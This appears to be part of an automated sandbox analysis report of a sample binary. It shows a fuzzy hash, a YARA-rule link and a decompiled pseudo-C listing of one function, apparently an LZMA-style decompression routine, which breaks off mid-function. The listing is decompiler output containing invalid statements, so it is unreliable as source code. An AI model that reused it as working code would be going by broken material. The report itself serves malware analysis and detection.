Instruction Fuzzy Hash: 2B711571D04228DBEF28CF98C8547ADBBB1FF44305F14806AD856BB281D778A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 00407068 Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407068() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
